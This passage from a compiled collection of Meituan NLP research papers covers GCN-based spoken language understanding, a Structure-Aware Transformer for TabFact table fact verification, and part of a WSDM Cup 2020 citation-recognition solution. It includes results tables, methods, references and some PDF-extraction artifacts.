relevant words and enhance contextual representations to distinguish subtle differences. Compared to
(Zhang et al., 2019) which restrains the scope of attention only between word and all of its ancestor
head words, we incorporate the syntactic dependency tree as a soft mask. We believe this soft mask can
alleviate errors caused by incomplete dependency parser.

4.6 Ablation Study

Model SNIPS ATIS
Slot (F1) Intent (Acc) Overall (Acc) Slot (F1) Intent (Acc) Overall (Acc)

RNN 90.7 96.9 80.7 94.3 95.3 82.5
GCN* 83.6 97.4 66.8 81.9 95.1 54.5
RNN+GCN** 91.7 97.4 82.3 94.8 95.6 84.4
RNN+GCN+Local Integration 93.4 97.9 85.9 95.2 96.1 85.1
RNN+GCN+Global Matching 94.1 98.0 86.7 95.3 97.1 86.2
Our model 94.8 98.2 87.6 95.7 97.2 86.9

Table 4: Performance of different model variants. * indicates that the GCN model initializes the first GCN layer inputs h(0)

with word embeddings. ** indicates that the RNN+GCN model simply sums contextual embeddings and GCN outputs.

To study the effect of each component of our method, we conduct ablation analysis (Table 4). In the
ATIS and Snips dataset, the basic RNN model achieves 82.5 and 80.7 on overall accuracy respectively,
which are much higher performance than vanilla GCN, 54.6 and 66.8. These results indicate that SLU
tasks need contextual word representation, especially for slot filling task, while the syntactic structure
could enhance the RNN model as supplementary knowledge. We can see that the simple RNN+GCN
achieves 1.9% improvements in the ATIS dataset and 1.6% improvements in the Snips dataset.

On the other hand, although simply inducing syntactic structure(RNN+GCN) helps improve the ba-
sic RNN model, both Local Integration and Global Matching further improve the whole performance.
We can see that Local Integration and Global Matching achieve 0.7% and 1.8% improvements in the
ATIS dataset, 2.4% and 4.4% improvements in the Snips dataset, compared to the RNN+GCN. The
full local-to-global aggregation further achieves 2.5% and 5.3% improvements respectively. The results
demonstrate the effectiveness of the feature aggregation mechanism since the syntactic representation
and contextual word representation can complement each other. Hence, our proposed local-to-global
multi-head attention achieves the best performance.

4.7 Effect of BERT

Model SNIPS ATIS
Slot (F1) Intent (Acc) Overall (Acc) Slot (F1) Intent (Acc) Overall (Acc)

Our model 94.8 98.2 87.6 95.7 97.2 86.9
Intent detection (BERT) - 97.8 - - 96.5 -
Slot filling (BERT) 95.8 - - 95.6 - -
BERT SLU (Chen et al., 2019) 97.0 98.6 92.8 96.1 97.5 88.2
Stack-Propagation + BERT (Qin et al., 2019) 97.0 99.0 92.9 96.1 97.5 88.6
Our model + BERT 97.1 99.0 93.0 96.2 97.8 88.7

Table 5: The SLU performance on BERT-based model on two datasets.

Considering the performance with the fine-tuning approach, we also conduct experiments that we re-
place the contextualized BiLSTM by the BERT (Devlin et al., 2019) in our framework and keep the same
architecture in rest of our model. The results of BERT model on ATIS and SNIPS datasets are shown
in Table 5. From the Table 5, we can observe our model utilizing BERT achieves a new state-of-the-art
performance. These results indicate a strong pre-trained model can further improve the performance for
our model on SLU tasks. Our model + BERT outperforms Stack-Propagation + BERT which indicate
that our framework is more effective with BERT than baseline models.
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5 Related work

Slot filling and intent detection are two major tasks for SLU. Recently, the typical pipeline methods
build slot filling and intent detection separately, where slot filling is implemented as a standard sequence
labeling task (Yao et al., 2014) and intent detection is built as a classification task (Lai et al., 2015),
respectively. More recent work (Hakkani-Tür et al., 2016; Liu and Lane, 2016; Goo et al., 2018; Li et
al., 2018; Wang et al., 2018; Zhang et al., 2018a; E et al., 2019; Qin et al., 2019) implement slot filling
and intent detection as a joint model to eliminate the error propagation without any linguistic knowledge.
Instead, our work apply the linguistic knowledge (i.e. dependency tree) as a prior to guide the learning
slot filling and intent detection jointly.

Dependency tree, as a important linguistic knowledge, is applied to recent natural language processing
tasks. In relation extraction and machine translation, many studies (Xu et al., 2015; Liu et al., 2015;
Miwa and Bansal, 2016; Chen et al., 2018) have show that the dependency trees can capture long-distance
relations effectively. In machine reading comprehension, (Zhang et al., 2019) use syntax to guide the text
modeling by incorporating explicit syntactic constraints into attention mechanism for better linguistically
motivated word representations and achieve promising results on both SQuAD 2.0 and RACE datasets.
Inspired by (Zhang et al., 2019), our work utilize the dependency tree to guide the joint model for slot
filling and intent detection. Different from (Zhang et al., 2019), our work apply the representation over
dependency tree as a inner feature instead of syntactic constraints into attention mechanism.

Graph Convolution Network (GCN) also have been utilized for many natural language processing
tasks. (Vashishth et al., 2019) propose a flexible graph convolution based method for learning word
embeddings. (Marcheggiani and Titov, 2017) apply a GCN as sentence encoders to produce latent feature
representations of words in a sentence for semantic role labeling task. (Bastings et al., 2017) present a
simple and effective approach to incorporate syntactic structure by the way of GCN into the encoder-
decoder model for machine translation. (Yao et al., 2019) build a single text graph for a corpus based on
word co-occurrence and document word relations, then learn a text GCN for the corpus to classify the
text. Different from above work, our work propose a model that applies a GCN over dependency trees to
integrate the syntactic structure for joint learning slot filling and intent detection.

6 Conclusion

In this paper, we propose a novel joint model that applies a graph convolution network over dependency
trees to integrate the syntactic structure for learning slot filling and intent detection jointly. In addition,
we utilize multi-head attention to fuse syntactic representation with contextual word representation to
access complementary representation for SLU task. Experimental results show that our proposed model
outperforms strong baseline models and achieves state-of-the-art performance on both ATIS and Snips
datasets in overall accuracy metric. Finally, we apply the BERT model to our framework and experiments
demonstrate that our proposed model integrating BERT model can improve the performance on both slot
filling and intent detection more obviously.
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Alice Coucke, Alaa Saade, Adrien Ball, Théodore Bluche, Alexandre Caulier, David Leroy, Clément Doumouro,
Thibault Gisselbrecht, Francesco Caltagirone, Thibaut Lavril, et al. 2018. Snips voice platform: an embedded
spoken language understanding system for private-by-design voice interfaces. arXiv preprint arXiv:1805.10190.

Jacob Devlin, Ming-Wei Chang, Kenton Lee, and Kristina Toutanova. 2019. Bert: Pre-training of deep bidirec-
tional transformers for language understanding. In NAACL, pages 4171–4186.

Haihong E, Peiqing Niu, Zhongfu Chen, and Meina Song. 2019. A novel bi-directional interrelated model for
joint intent detection and slot filling. In ACL, pages 5467–5471.

Chih-Wen Goo, Guang Gao, Yun-Kai Hsu, Chih-Li Huo, Tsung-Chieh Chen, Keng-Wei Hsu, and Yun-Nung Chen.
2018. Slot-gated modeling for joint slot filling and intent prediction. In NAACL, pages 753–757.

Dilek Hakkani-Tür, Gökhan Tür, Asli Celikyilmaz, Yun-Nung Chen, Jianfeng Gao, Li Deng, and Ye-Yi Wang.
2016. Multi-domain joint semantic frame parsing using bi-directional rnn-lstm. In Interspeech, pages 715–719.

Charles T Hemphill, John J Godfrey, and George R Doddington. 1990. The atis spoken language systems pilot
corpus. In Speech and Natural Language.

Dan Hendrycks and Kevin Gimpel. 2017. Bridging nonlinearities and stochastic regularizers with gaussian error
linear units. ArXiv, abs/1606.08415.

Sepp Hochreiter and Jürgen Schmidhuber. 1997. Long short-term memory. Neural computation, 9(8):1735–1780.

Diederik P Kingma and Jimmy Ba. 2014. Adam: A method for stochastic optimization. arXiv preprint
arXiv:1412.6980.

Thomas N. Kipf and Max Welling. 2017. Semi-supervised classification with graph convolutional networks. In
ICLR.

Siwei Lai, Liheng Xu, Kang Liu, and Jun Zhao. 2015. Recurrent convolutional neural networks for text classifi-
cation. In AAAI.

Changliang Li, Liang Li, and Ji Qi. 2018. A self-attentive model with gate mechanism for spoken language
understanding. In EMNLP, pages 3824–3833.

Bing Liu and Ian Lane. 2016. Attention-based recurrent neural network models for joint intent detection and slot
filling. Interspeech 2016, pages 685–689.

Yang Liu, Furu Wei, Sujian Li, Heng Ji, Ming Zhou, and WANG Houfeng. 2015. A dependency-based neural
network for relation classification. In ACL-IJCNLP, pages 285–290.

Diego Marcheggiani and Ivan Titov. 2017. Encoding sentences with graph convolutional networks for semantic
role labeling. In EMNLP, pages 1506–1515.

Makoto Miwa and Mohit Bansal. 2016. End-to-end relation extraction using lstms on sequences and tree struc-
tures. In ACL, pages 1105–1116.

Matthew E. Peters, Mark Neumann, Mohit Iyyer, Matt Gardner, Christopher Clark, Kenton Lee, and Luke Zettle-
moyer. 2018. Deep contextualized word representations. In NAACL.

Libo Qin, Wanxiang Che, Yangming Li, Haoyang Wen, and Ting Liu. 2019. A stack-propagation framework with
token-level intent detection for spoken language understanding. In EMNLP-IJCNLP, pages 2078–2087.

Gokhan Tur and Renato De Mori. 2011. Spoken language understanding: Systems for extracting semantic infor-
mation from speech. John Wiley & Sons.

Shikhar Vashishth, Manik Bhandari, Prateek Yadav, Piyush Rai, Chiranjib Bhattacharyya, and Partha Talukdar.
2019. Incorporating syntactic and semantic information in word embeddings using graph convolutional net-
works. In ACL, pages 3308–3318.

Ashish Vaswani, Noam Shazeer, Niki Parmar, Jakob Uszkoreit, Llion Jones, Aidan N. Gomez, Lukasz Kaiser, and
Illia Polosukhin. 2017. Attention is all you need. In NIPS.



1290　>　美团 2020 技术年货

2738

Yu Wang, Yilin Shen, and Hongxia Jin. 2018. A bi-model based rnn semantic frame parsing model for intent
detection and slot filling. In NAACL, pages 309–314.

Yan Xu, Lili Mou, Ge Li, Yunchuan Chen, Hao Peng, and Zhi Jin. 2015. Classifying relations via long short term
memory networks along shortest dependency paths. In EMNLP, pages 1785–1794.

Kaisheng Yao, Baolin Peng, Yu Zhang, Dong Yu, Geoffrey Zweig, and Yangyang Shi. 2014. Spoken language
understanding using long short-term memory neural networks. In SLT, pages 189–194. IEEE.

Liang Yao, Chengsheng Mao, and Yuan Luo. 2019. Graph convolutional networks for text classification. In AAAI,
volume 33, pages 7370–7377.

Chenwei Zhang, Yaliang Li, Nan Du, Wei Fan, and Philip S Yu. 2018a. Joint slot filling and intent detection via
capsule neural networks. arXiv preprint arXiv:1812.09471.

Yuhao Zhang, Peng Qi, and Christopher D. Manning. 2018b. Graph convolution over pruned dependency trees
improves relation extraction. In EMNLP.

Zhuosheng Zhang, Yuwei Wu, Junru Zhou, Sufeng Duan, and Hai Zhao. 2019. Sg-net: Syntax-guided machine
reading comprehension. arXiv preprint arXiv:1908.05147.



论文　<　1291

Table	Fact	Verification	with	Structure-	
Aware	Transformer*

Proceedings of the 2020 Conference on Empirical Methods in Natural Language Processing, pages 1624–1629,
November 16–20, 2020. c©2020 Association for Computational Linguistics

1624

Table Fact Verification with Structure-Aware Transformer∗

Hongzhi Zhang†, Yingyao Wang�, Sirui Wang†, Xuezhi Cao†, Fuzheng Zhang†, Zhongyuan Wang†

† Meituan Dianping Group, Beijing, China
�Harbin Institute of Technology, China

{zhanghongzhi03,wangsirui,caoxuezhi,zhangfuzheng}@meituan.com
yywang@hit-mtlab.net, wzhy@outlook.com

Abstract

Verifying fact on semi-structured evidence like
tables requires the ability to encode structural
information and perform symbolic reasoning.
Pre-trained language models trained on natu-
ral language could not be directly applied to
encode tables, because simply linearizing ta-
bles into sequences will lose the cell alignment
information. To better utilize pre-trained trans-
formers for table representation, we propose
a Structure-Aware Transformer (SAT), which
injects the table structural information into the
mask of the self-attention layer. A method to
combine symbolic and linguistic reasoning is
also explored for this task. Our method outper-
forms baseline with 4.93% on TabFact, a large
scale table verification dataset.

1 Introduction

Table fact verification aims at classifying whether
a textual hypothesis is entailed or refuted by the
given table. It could benefit downstream tasks
such as fake news detection, misinformation de-
tection, etc. Compared to fact verification over tex-
tual evidence (Dagan et al., 2006; Bowman et al.,
2015), verification on semi-structured data further
requires 1) the ability to encode and understand
structural information of tables, and 2) the abil-
ity to perform symbolic reasoning over structured
data, such as counting, comparing, and numeri-
cal calculation. Although large-scale pre-trained
language models (Devlin et al., 2019; Yang et al.,
2019) achieved dominant results on textual entail-
ment datasets (Wang et al., 2019), they could not be
directly used to encode semi-structured data as they
are pre-trained on unstructured natural language.

Wenhu et al. (2020) eliminate the discrepancy
by serializing tables into word sequences, and then
table fact verification could be processed as a natu-
ral language inference task. The most straightfor-
ward method for table serialization is linearizing

∗The first two authors contribute equally to this work.

the table contents via horizontal scan. However,
this would destroy structural information within
tables, i.e. the alignments between table cells. In
Figure 1, the value “533” and “733” is meaning-
less digits without the column name “core clock”,
and it is hard for the model to recover the align-
ments from the flattened word sequence. Therefore,
Table-BERT (Wenhu et al., 2020) includes the col-
umn name into cell representation using natural
language templates during the linearization. How-
ever, comparing or counting column contents of
different rows over the flattened word sequence
remains a hard task, and simply duplicating the
column name multiple times does not achieve sat-
isfying results.

To better utilize the transformer architecture for
table representation, we propose to inject the ta-
ble’s structural information into the mask of the
self-attention layer. Figure 2 illustrates the pattern
commonly adopted when human read or write a
table. Usually, each table row describes a record,
and cell c1,2 describes a record property with the at-
tribute name clarified in the corresponding column
name c0,2. Besides, values of the same column are
usually compared or aggregated for analysis. So,
the colored row and column are most crucial to
the representation of cell c1,2. In the long flattened
sequence obtained by horizontal/vertical scan, the
alignments between table cells would be disturbed
by other unimportant words. To tackle this prob-
lem, we have the representation of cell c1,2 only
depend on the colored cells in Figure 2 by zero-
ing the attention weights to other ones. Figure 3
illustrates the representation of cell c1,2 utilizing
transformer. Through masking, only two pseudo
sentences, i.e. the corresponding row and column,
that share some common words are considered in
the representation of each cell. That is, the flattened
word sequence is implicitly decomposed into a se-
ries of small readable sentences so as to unleashes
the power of large pre-trained language model.
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cpu market core clock 
(mhz)

execution 
units

memory 
bandwidth

celeron g1101 
pentiumg69xx desktop 533 12 17 gb/s

core i3 - 5x0 
core i5 - 655k desktop 733 12 21.3 gb/s

core i7 - 620le 
core i7 - 6x0lm mobile 266-566 12 17.1 gb/s

Comparison of intel graphics processing units

1. each cpu have 12 execution unit
2. core i3 – 5x0 have faster core clock than core i7 -620le

Entailed Statement

Refuted Statement

1. core i7 - 620le is designed for mobile market and its
memory bandwidth is 21.3 gb/s.

2. There are three series of cpu designed for desktop market.

Figure 1: Examples of table fact verification, the right boxes provide entailed and refuted statements respectively.

c0,0 c0,1 c0,2 c0,3
c1,0 c1,1 c1,2 c1,3
c2,0 c2,1 c2,2 c2,3

table caption

Figure 2: Illustration of table under-
standing. The colored row and column
are crucial to understanding cell c1,2.

statement table caption

Lower layer

c0,0 c0,1 c0,2 c1,1 c1,2 c1,3 c2,2 c2,3[SEP] c0,3 c1,0 c2,0 c2,1

statement table caption c0,0 c0,1 c0,2 c1,1 c1,2 c1,3 c2,2 c2,3[SEP] c0,3 c1,0 c2,0 c2,1

statement table caption c0,0 c0,1 c0,2 c1,1 c1,2 c1,3 c2,2 c2,3[SEP] c0,3 c1,0 c2,0 c2,1

Upper layer

Figure 3: Illustration of masked self-attention for representation of
cell c1,2. Attentions among cells of the same column are enabled in
upper layers to support cross-row reasoning, e.g. c1,2 ∼ c2,2.

Pre-trained transformers are good at semantic-
level understanding, i.e. capturing the identical
meaning between different expressions. However,
one limitation is that they are not doing perfectly in
symbolic reasoning (Asai and Hajishirzi, 2020). To
tackle this, we perform first-order aggregation over
each column and append the result as a special row
into the table. An improvement of 1% is achieved,
indicating that the ability of hard symbolic reason-
ing requires further studying.

Our contributions are summarized as follows:

• A Structure-Aware Transformer (SAT) is de-
vised to better represent semi-structured ta-
bles, which injects structural information into
attention mask of pre-trained transformers.

• For statements that require symbolic reason-
ing, we explore a method to combine sym-
bolic reasoning and semantic matching.

• Experimental results show that our method
outperforms the state-of-the-art method by
4.93%. Our code is available at https://

github.com/zhhongzhi/sat.

2 Methodology

As the examples shown in Figure 1, given a state-
ment S, table fact verification aims to classify
whether the statement is entailed or refuted by the
evidence table T . The table T consists of a caption
t and cells {ci,j} of m× n, where m and n are the
numbers of rows and columns. Since pre-trained

transformer could only take word sequences as in-
put, we feed it with a concatenation of the statement
S, the [SEP] token, the table caption t, and the flat-
tened table Tf . The table could be serialized by
the horizontal or vertical scan. Figure 3 shows an
example of horizontal scanning.

The representation of the word sequence follows
the general encoding procedure of the pre-trained
transformers (Devlin et al., 2019), so we only de-
scribe the self-attention layer in which an attention
mask is introduced for table representation. As
illustrated in Figure 2, understanding the table re-
quires both horizontal and vertical views. That is,
if the table is flattened by a horizontal scan, the ver-
tical alignment information will be lost, and vise
versa. For example, the column name c0,2 is crucial
to the representation of c1,2, but its signal could be
perturbed by other cells in grey, since all c0,∗ and
c2,∗ cells are far from c1,2 in the flattened sequence
and are processed equally.

Therefore, we propose to recover the alignment
information by masking signals of unimportant
cells during self-attention. The attention mask
M ∈ RL×L is defined as:

Mi,j =

{
0 wi ∼ wj

−∞ wi �∼ wj
(1)

where L is the sequence length, and wi ∼ wj de-
notes that wj is attended to when generating rep-
resentation of wi, while wj �∼ wi means the oppo-
site. Denote the input of l-th self-attention layer
as H l ∈ RL×d, where d is the hidden size. The
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attention mask is then applied to the self-attention
layer as follows:

Ql,K l,V l = H lWq,H
lWk,H

lWv

Al = softmax(
QlK lT +M√

dk
)

(2)

where W∗ ∈ Rd×dk are trainable parameters. The
output of self-attention layer is then calculated as:

H l+1 = AlV l (3)

It could be observed that if wj �∼ wi, then Ai,j

is reset to zero and H l
j will not contribute to the

representation of wi, i.e. H l+1
i .

Figure 3 sketches the representation learning
of tokens in cell c1,2 leveraging the masked self-
attention. In the lower layers, the token representa-
tion of each cell considers information from four
aspects: a) tokens of the same row that describe
the same entry, b) its column title that clarifies the
attribute name, c) the table caption which provides
global background, and d) the statement for veri-
fication. In the upper layers, cross row attention
among cells of the same column is further enabled.
In this manner, lower layers focus on capturing
low-level lexical information and upper layers are
capable of simple cross-row reasoning. Note that
tokens of the statement S and the table caption
receive information from all cells.

Another preferred ability of SAT is to perform
symbolic reasoning such as counting, comparing,
and numerical calculation. Pre-trained models like
BERT are good at semantic-level understanding,
but not symbolic reasoning (Geva et al., 2020; Asai
and Hajishirzi, 2020). We explore to enhance the
performance of counting verification by convert-
ing the counting problem into a semantic matching
problem. Specifically, for every column, the fre-
quency of duplicate cell contents is counted as a
summary cell, leading to a summary row which
is then appended to the table. For example, the
summary cell of the second column in Figure 1 is
“count desktop:2”, so the second refuted statement
could be verified via semantic matching.

3 Experiments

3.1 Dataset
Experiments are carried out using TabFact1 (Wenhu
et al., 2020), a large scale table fact verification

1https://github.com/wenhuchen/
Table-Fact-Checking

Split #Statement #Table Simple/Complex
Train 92,238 13,182 –
Val 12,792 1,696 –
Test 12,779 1,695 4,230/8,609

Table 1: Basic statistics of TabFact.

dataset. The basic statistics of TabFact are listed in
Table 1. The dataset contains both simple and com-
plex statements. Simple statements only involve a
single row/record, while the complex ones require
higher-order semantics (argmax, count, etc.), and
the statements are rephrased so more ability on
linguistic reasoning is required.

3.2 Experimental Settings

Model weights are initialized using BERT-base
model trained on English corpus. The first 6 layers
are regarded as lower layers, and the other 6 layers
are taken as upper layers. We finetune the model
with a batch size of 10 and a learning rate of 2e-5.
It usually takes 15-18 epochs until convergence.

The flatten sequence is usually longer than the
sequence limit of BERT, which requires more mem-
ory and training time. Hence, we only retain the
top 5 table rows according to the number of words
shared with the statement. During experiments, the
maximum sequence length is set to 256.

3.3 Results and Ablation Study

The experimental results on TabFact are listed in Ta-
ble 2. Our method achieves an accuracy of 73.23%
on the test set and outperforms Table-BERT by
4.93%. The improvement on complex statements
is even larger, which achieves 5.75%.

Effect of Attention Mask Without the attention
mask, test accuracy is 67.67% and 64.27% for hor-
izontal and vertical scans respectively, namely a
decrease of 5.15% and 8.96% compared to the
complete SAT. An interesting finding is that the
horizontal scan outperforms the vertical scan when
removing the mask, which is consistent with our
intuition that each row describes an entry and thus
horizontal alignment information is more impor-
tant. With the cell alignment information recovered
by the attention mask, the gap is rather small when
using SAT, demonstrating its robustness towards
different scan directions.

The last two rows of Table 2 present two variants
of the masks, where we adopt an identical mask
matrix for all transformer layers instead of using
different ones for low/high layers. Results indicate
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Model Val Test Test(simple) Test(complex)
LPA(Wenhu et al., 2020)† 65.1 65.3 78.7 58.5
Table-BERT(Wenhu et al., 2020)† 66.1 65.1 79.1 58.2
Table-BERT tuned* 68.38 68.30 82.35 61.48
BERT with cell position encoding 59.31 59.44 63.24 57.58
SAT with Horizontal scan 72.96 72.82 85.44 66.62

- w/o visible matrix 68.41 67.67 75.93 63.61
- w/o summary row 72.00 72.09 85.53 65.49
- w/o visible matrix w/o summary row 66.84 66.01 74.37 61.90

SAT with Vertical scan 73.31 73.23 85.46 67.23
- w/o visible matrix 64.21 64.27 68.77 62.06
- w/o summary row 71.71 71.59 84.70 65.15
- w/o summary row and w/o visible matrix 63.03 62.34 66.71 60.19
- all layers w/o cross row attention 72.83 72.26 84.61 66.11
- all layers w cross row attention 72.02 71.82 83.45 66.10

Table 2: The accuracy (%) of different models. The results annotated with † are cited from literature, and Table-
BERT tuned* denotes results obtained by changing the leaning rate from 5e-5 to 1e-5.

that designing different mask matrix for low/high
layers, with the intention to model low-level lexical
information and high-level cross-row reasoning,
has indeed achieved better performance.

Essentially, by masking signals of unimpor-
tant cells, SAT implicitly segments the unnatu-
ral long sequence into a series of meaningful sub-
sequences. Such sub-sequences are more friendly
to pre-trained language models, so the power of
large pre-trained transformer can be unleashed.

The Summary Row Appending a summary row
to the table brings a stable improvement of 1%,
which mainly contributes to the complex test set.
This indicates that although pre-trained transformer
is dominant on semantic understanding, its abil-
ity on symbolic reasoning is limited. With the
counting problem in scope, experimental results
show that it is promising to combine both symbolic
reasoning and semantic understanding abilities by
feeding symbolic reasoning results into SAT.

SAT vs Table Position Embeddings Experi-
ments are further carried out to identify whether
the table position encoding method introduced in
TaPaS(Herzig et al., 2020) is better than the pro-
posed SAT on table encoding. Row and column
positional embeddings are added to the original po-
sitional embeddings of BERT to identify the table
alignment information. The experimental results
are listed in the fourth row of Table 2. An accu-
racy of 59.8% is observed while the accuracy of
the BERT baseline is 68.30%. The results show
that BERT is perturbed by the additional table posi-
tional embeddings and the model did not converge

well. Though the table position information is ap-
pended to the inputs, the following transformer
layers are not ready to accept and propagate the
signal without pre-training. It is demonstrated that
simply providing positional information without
pre-training is not sufficient for Transformer to en-
code tables.

3.4 Case study
We analyzed samples that are fixed by SAT com-
pared to baselines. It is observed that a large por-
tion (43/80) of them are statements involve multiple
facts/table cells that do not requires logic reasoning.
Besides, several problems (9/80) that requires sim-
ple count and comparison are fixed. The model
both fixed (the other 38) and failed on some sam-
ples that require complex symbolic logical reason-
ing, such as argument sort, conditional aggregation
and then comparison. The behavior is most likely
random guess for both SAT and baselines. The
results show that SAT mainly contributes to the
general table representation and enhance the lin-
guistic reasoning, and the summary row appended
helps to solve some count problems.

4 Related Work

To encourage the study on table fact verification,
Wenhu et al. (2020) construct a large scale table
fact checking dataset and study two promising ap-
proaches, Table-BERT and Latent Program Algo-
rithm (LPA) respectively. Table-BERT transforms
the problem into a natural language inference task
to leverage the power of the pre-trained language
models. LPA formulates the task as a program
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synthesis problem and it is good at symbolic rea-
soning. Our work aligns with the direction of
Table-BERT. Inspired by existing work Weijie et al.
(2020); Nguyen et al. (2020); Dong et al. (2019);
Yang et al. (2019) that manipulates self-attention
masks, we devise a structure-aware transformer to
attain better table representation.

There are several recent works that table fact ver-
ification could benefit from. Geva et al. (2020) and
Asai and Hajishirzi (2020) study to improve the
pre-trained model in numerical reasoning and logi-
cal comparisons. The enhanced pre-trained model
could be directly used in our approach. Herzig et al.
(2020) extend BERT’s architecture to encode tables
for the table question answering task (Iyyer et al.,
2017), where additional embeddings identifying
the row and column number are added. The pro-
posed architecture is potentially applicable to table
fact checking but requires expensive pre-training.

5 Conclusion

We propose SAT to enhance the pre-trained trans-
former’s ability on table representation by inject-
ing structural information into the mask of self-
attention layers. Significant improvements on Tab-
Fact demonstrate its effectiveness. We further en-
hance SAT by appending a summary row to the
table, the results show that it is promising to solve
the fact verification that requires both symbolic
reasoning and semantic understanding by feeding
symbolic reasoning results into SAT. Overall, an
improvement of 4.93% is achieved compared to
the state-of-the-art method. The proposed method
can further contribute to other semi-structured data
(table, graph, etc.) related tasks, e.g. WikiTable-
Questions (Pasupat and Liang, 2015) and Common-
senseQA (Talmor et al., 2019). There still exists
plenty of potentials that require future studies in
this direction.
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ABSTRACT
In the development of science and technology, the public scientific
theses have played an important role and greatly promoted the
development of society. The vast majority scientific progress was
announced in the form of papers in past centuries, and impactful
contributions were often recognized by the research community
with a great number of citations. However, inappropriate citation
of papers still occurs from time to time and hinders the progress of
human civilization. In this paper, we proposed an effective frame-
work to address the citation intent recognition challenge in ACM
WSDM Cup 20201. Our team name is ferryman and in our solution,
we regarded this problem as the Information Retrieve (IR) task and
proposed a framework with two stages of recall and ranking and
finally our team won the 1st place with a Mean Average Precision
@ 3 (MAP@3) score of 0.42583 on the final leaderboard2.

KEYWORDS
Citation Intent Recognition, Information Retrieve, Nature Language
Processing

1 INTRODUCTION
WSDMCup is a competition-style event co-located with the leading
WSDM conference. This paper describes our solution for Citation
Intent Recognition, one of WSDM Cup 2020 tasks, and we won
the 1st place in the final leaderboard. Science has emerged as a
dominant engine of innovation for modern society. Moreover, its
rich published traces allow us to understand, predict and guide
its advance and utility like never before. Research papers are the
dominant media for state-of-art knowledge. Therefore, if we can
develop models that understand research papers, we can greatly
enhance the ability of computers to understand knowledge.

The competition provided a large paper dataset, which contains
roughly 800K papers, along with paragraphs or sentences which
describe the research papers. These pieces of description are mainly
from paper text which introduces citations. The participants are
required to recognize the paper cited in the describe texts. This
competition uses Mean Average Precision @3 (MAP@3) as the
evaluation metric which is described by the following function:

∗Both authors contributed equally to this research.
†All the corresponding to Huixing Jiang.
1http://www.wsdm-conference.org/2020/wsdm-cup-2020.php
2https://biendata.com/competition/wsdm2020/final-leaderboard/

𝑀𝑀𝑀𝑀𝑀𝑀@3 = 1
|𝑈𝑈 |

|𝑈𝑈 |∑
𝑢𝑢=1

𝑚𝑚𝑚𝑚𝑚𝑚 (3,𝑚𝑚))∑

𝑘𝑘=1
𝑀𝑀 (𝑘𝑘)) (1)

Where |U| is the number of press_id in the test set, P(k) is the
precision at cutoff k, n is the number of predicted papers.

After analyzing the challenge, we regard it as an Information
Retrieve (IR) task[11], The IR focuses on the problem of finding
the most matched Top N documents with a query from a massive
number of candidate documents. In this challenge, the description
text is the query and the candidate papers are the documents to
be retrieved. To handle this challenge, we made a plan with two
stages including recall and ranking. In recall stage, several unsuper-
vised methods like Axiomatic F1EXP[5], DFI Similarity[7], Okapi
BM25[14] are built to reduce the scope of candidates, then we draw
learning to rank models such as BERT[4][10] and lightGBM[6] to
ranking the candidate papers which is selected in the recalling
stage.

The rest of the paper is organized as follows: Section 2 describes
our solution which contains the model details. In Section 3, we show
the experiments and results of our model. Finally, we conclude our
analysis of the challenge, as well as some additional discussions of
the future directions in Section 4.

2 METHODOLOGY
In this section, we introduce our framework for Citation Intent
Recognition. Firstly, we introduce the recall strategy. Secondly, we
introduce the rank strategy based BERT and lightGBM, Finally
We introduce how to integrate the models.An overall framework
and processing pipeline of our solution is showed in Figure 1. Our
trained models and source code are publicly available on GitHub3.

2.1 Recall Strategy
In the recall stage, candidate papers and descriptions were repre-
sented as a vector using vector space model and bag-of-N-gram
model, in practice, the max N is set to 2 owing to the huge com-
putational space. Then we use several similarity measurement to
reduce the retrieve scope, including TFIDF, BM25, LM Dirichlet, Ax-
iomatic F3EXP, DFI Similarity, Axiomatic F1EXP, Axiomatic F2EXP,
Axiomatic F1LOG, Axiomatic F2LOG, Axiomatic F3LOG, Boolean
Similarity, LM Jelinek Mercer Similarity, DFR Similarity, IB Similar-
ity and so on[2][11]. And we apply the structure introduced above

3https://github.com/myeclipse/wsdm_cup_2020_solution
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Figure 1: An overall framework and pipeline of our solution
for citation intent recognition

on different scales of a paper, such as title, abstract, keywords and
full text. In our practice, the F1EXP has the highest recall score and
BM25 get the highest MAP score. The recall results is not only used
to reduce the retrieve scope but all as a part of features used in the
LGB ranking stage.

2.2 BERT Model
The BERT[4][10] model architecture is based on a multilayer bidi-
rectional Transformer[15] As Fig. 2. Instead of the traditional left-
to-right language modeling objective, BERT is trained on two tasks:
predicting randomly masked tokens and predicting whether two
sentences follow each other. BERT model gets a lot of state of the
arts in many tasks, and we also use the BERT model in our strategy.
There are two types of BERT models following the same archi-
tecture as BERT but instead pre-trained on the different scientific
texts: SciBERT[1] and BioBERT[9]. Also, we trained the pre-trained
model in two ways: The Point-Wise model and the Pair-Wise model.

Figure 2: Bidirectional transformer architectures of BERT

2.2.1 Data Preprocessing. The better preprocessing of the input
can get better performance. Firstly, we removed the excess white-
space and some stop words, and we did some word segmentation
and did part-of-speech tagging. Secondly, we normalized the word
form for the different tags of the sentence and lowercased all letters.
We compared the input without preprocessing and the input with
preprocessing, finding that the input with preprocessing is better
than another one.

2.2.2 Bert with Point-Wise. We trained the BERT with Point-Wise
way which means we defined the task as the binary classification.
We preprocessed the two sentences (the description sentence and
the paper-described sentence). We joined them in one sentence
with [SEP] token and put them into the BERT model. We trained
the token of the sentence with binary cross-entropy loss to dig
the difference between description sentence and paper-described
sentence As Figure 3. The probability can measure howwell the two
sentences match. However, too much negative samples can destroy
the performance of the BERT model and the Point-Wise way didn’t
take into account the internal dependencies between the documents
corresponding to the same query. On the one hand, the samples in
the input space are not independently identically distribution. On
the other hand, the structure between these samples was not fully
utilized. When different queries correspond to different numbers of
documents, the overall loss will be dominated by the query group
with a large number of documents. Each group of queries should be
equivalent. We need to have another way to get better performance
of the model. We tried the Pair-Wise model.

Figure 3: Ranking with BERT

2.2.3 Bert with Pair-Wise. Learning2Rank applies machine learn-
ing technology to the ranking problem and trains the rankingmodel.
Usually, the discriminant supervised machine learning algorithm
is applied. Learning2Rank task seeks ranking results and does not
require precise scoring, as long as there is a relative scoring. Learn-
ing2Rank framework has the following characteristics:
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• The samples in the input space are two feature vectors (cor-
responding to the same query) composed of two documents
(and corresponding query).

• The samples in the output space are pairwise preference.
• The samples in the space are two-variable functions and the
loss function evaluates the difference between the predicted
preference and the true preference of the document pair.

We did the same preprocessing to the input sentence as the way
described in the above. We used the margin ranking loss as our
loss function and trained several triplet samples with the same
description text and different paper-described sentences. It not only
helped to get a better ranking of similarity but also compared the
differences between each description text. We got a higher score
than the BERT model with Point-Wise.

2.3 Lightgbm Model
In order to increase the diversity of the model, in addition to Bert,
we choose LightGBM for modeling, and for simplicity, it is called
